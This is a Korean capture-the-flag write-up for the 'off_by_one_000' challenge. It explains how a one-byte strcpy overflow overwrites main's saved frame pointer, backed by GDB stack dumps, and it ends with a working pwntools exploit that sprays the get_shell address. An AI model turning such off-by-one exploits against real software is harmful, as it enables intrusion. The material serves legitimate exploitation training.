문제
strcpy
는 몇바이트까지 복사하라는 말 없이 널문자열을 만날때 까지 복사합니다. cpy
함수 내의 버퍼가 256바이트 길이이고 복사된 문자열은 256개의 char
+ \x00
이므로 1byte 오버플로가 납니다.
오버플로가 나는 위치는 main의 SFP
입니다.
GDB
EBP: 0xffffcf20 --> 0xffffcf28 --> 0x0
ESP: 0xffffcf20 --> 0xffffcf28 --> 0x0
EIP: 0x804864f (<cpy+3>: sub esp,0x100)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804864b <initialize+70>: ret
0x804864c <cpy>: push ebp
0x804864d <cpy+1>: mov ebp,esp
=> 0x804864f <cpy+3>: sub esp,0x100
0x8048655 <cpy+9>: push 0x804a060
0x804865a <cpy+14>: lea eax,[ebp-0x100]
0x8048660 <cpy+20>: push eax
0x8048661 <cpy+21>: call 0x8048470 <strcpy@plt>
[------------------------------------stack-------------------------------------]
0000| 0xffffcf20 --> 0xffffcf28 --> 0x0
0004| 0xffffcf24 --> 0x804869e (<main+46>: push 0x804a060)
0008| 0xffffcf28 --> 0x0
0012| 0xffffcf2c --> 0xf7e00e91 (<__libc_start_main+241>: add esp,0x10)
strcpy
의 실행 전 cpy
의 스텍프레임 내에서 SFP
가 0xffffcf28
인 모습
EBP: 0xffffcf20 --> 0xffffcf00 --> 0x80485db (<get_shell>: push ebp)
strcpy
실행 후 SFP
가 0xffffcf00
가 된 모습
여기서 main의 에필로그 상에서 leave
가 실행될 때 esp
는 0xffffcf00
근처를 가리킨다.
따라서 ret
또한 이 근처에 있을 가능성이 높다. 이에 따라서 페이로드를 p32(get_shell_addr)*64
의 256바이트 문자열로 설정하는게 이론상 바람직하다.
유의점
Ubuntu 18.04
기준
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
위 GDB
버젼에서는 제대로 실습하지 못한다.
GDB
로 돌렸더니 cpy
이후 printf
를 처리하는 과정에서 cpy
에서 우리가 덮어놓은 버퍼가 오염되는 문제가 발생한다.
하지만 pwntools
로 직접 바이너리를 실행하면 이 문제가 발생하지 않기 때문에 문제를 푸는데는 지장이 없다.
Exploit code
from pwn import*
p = process("./off_by_one_000")
// 제출시에는 remote에 hostname과 포트번호를 넣어주면 된다.
get_shell = 0x80485db
payload = p32(get_shell)*64
p.sendline(payload)
p.interactive()
오염된 SFP
근처에 목표RET
가 있으므로 페이로드를 전부 get_shell
주소로 하면 정답 확률이 높다.